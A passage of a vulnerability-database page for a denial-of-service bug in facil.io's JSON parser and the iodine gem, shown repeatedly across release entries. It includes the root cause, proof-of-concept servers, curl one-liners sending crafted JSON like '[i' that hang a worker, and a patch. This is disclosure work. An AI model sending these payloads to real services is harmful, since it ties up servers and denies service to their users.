Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Jun 28, 2022

0.7.47 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

May 10, 2022

0.7.46 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

May 07, 2022

0.7.45 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Nov 26, 2021

0.7.44 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

